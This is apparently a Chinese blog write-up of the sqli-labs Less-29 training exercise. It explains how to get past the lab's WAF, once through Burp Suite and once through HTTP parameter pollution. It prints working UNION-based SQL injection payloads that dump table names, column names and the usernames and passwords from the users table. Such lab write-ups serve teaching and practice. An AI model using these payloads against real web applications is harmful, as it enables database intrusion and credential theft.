当前位置:网站首页>sqlilabs less-29
sqlilabs less-29
2022-07-25 05:35:00 【永远是深夜该多好。】
前期判断
一进来就看到说有WAF,赶紧去试试拦截了什么。

感觉不对啊,这防火墙是不是出问题了。
看起来真出问题了,赶紧去看看源码,index.php的文件就是本界面,可以看出来没有任何过滤。
还有两个分别是诸如被拦截的页面和有防火墙的页面。
诸如被拦截的界面。
有WAF的界面。
测试发现大部分符号都被拦截了。
注入
方法一:中间人
突然有几个问题,是否为前端判断,能否用中间人方法绕过WAF,抓包丢进burp suite的Repeater里面测试一下,能看到貌似绕过了WAF。

英文单引号注入,注意在burpsuite里面id=后面的参数之间不能有空格,要不然burpsuite会认为用空格相隔的就不是参数,就会出现错误请求。
简而言之就是想办法让id=后面的参数都是同一个颜色(此处是绿色),这应该是众多方法之一。
判断行数。
判断表名。
-1'union(select(1),2,group_concat(table_name)from(information_schema.tables)where(table_schema=database()))--+

判断列名。
-1'union(select(1),2,group_concat(column_name)from(information_schema.columns)where(table_name='users'))--+

值
-1'union(select(1),group_concat(username),group_concat(password)from(users))--+

方法二:
先测试一下看看那些字符没有被拦截,以便利用。
发现"&",没有被过滤,该怎么利用呢。
可以看到本来被过滤的字符跟在&后面就能够使用了。
表名。
1&id=-1' union select null,null,group_concat(table_name) from information_schema.tables where table_schema=database()--+

边栏推荐
- Arm PWN basic tutorial
- Samsung folding screen has sent samples to apple and Google, and the annual production capacity will be expanded from 2.4 million to 10million!
- Microservice - hystrix fuse
- 单点登录(一处登录,处处可用)
- Redis cluster setup (Windows)
- 2021 ICPC Shaanxi warm up match b.code (bit operation)
- Thesis reading | which is the best multilingual pre training technology for machine translation? See the latest progress!
- Working principle and precautions of bubble water level gauge
- ThreadLocal
- Leetcode 202. happy number (not happy at all)
猜你喜欢
随机推荐
Is the Huatai account opened by qiniu safe to use?
School day (summer vacation daily question 2)
50:第五章:开发admin管理服务:3:开发【查询admin用户名是否已存在,接口】;(这个接口需要登录时才能调用;所以我们编写了拦截器,让其拦截请求,判断用户是否是登录状态;)
VPP不能加载UP状态接口
Introduction to base ring tree
Easyrecovery free data recovery tool is easy to operate and restore data with one click
Airserver 7.3.0 Chinese version mobile device wireless transmission computer screen tool
Adaptation dynamics | in June, sequoiadb completed mutual certification with five products
接口幂等性
Zhanrui's first 5g baseband chip was officially released and successfully ranked among the first tier of 5g!
Thesis reading | which is the best multilingual pre training technology for machine translation? See the latest progress!
ZTE's first 5g mobile phone, axon 10 pro, was launched in the first half of this year
Leetcode 0121. the best time to buy and sell stocks - simulation from back to front
The difference between function and task in SystemVerilog
自己实现is_convertible
C100: smallest hevc visual IOT MCU
background
Base64 (conversion between string and Base64 string)
Three schemes for finclip to realize wechat authorized login
CCID released the "Lake warehouse integrated technology research report", and Jushan database was selected as a typical representative of domestic enterprises









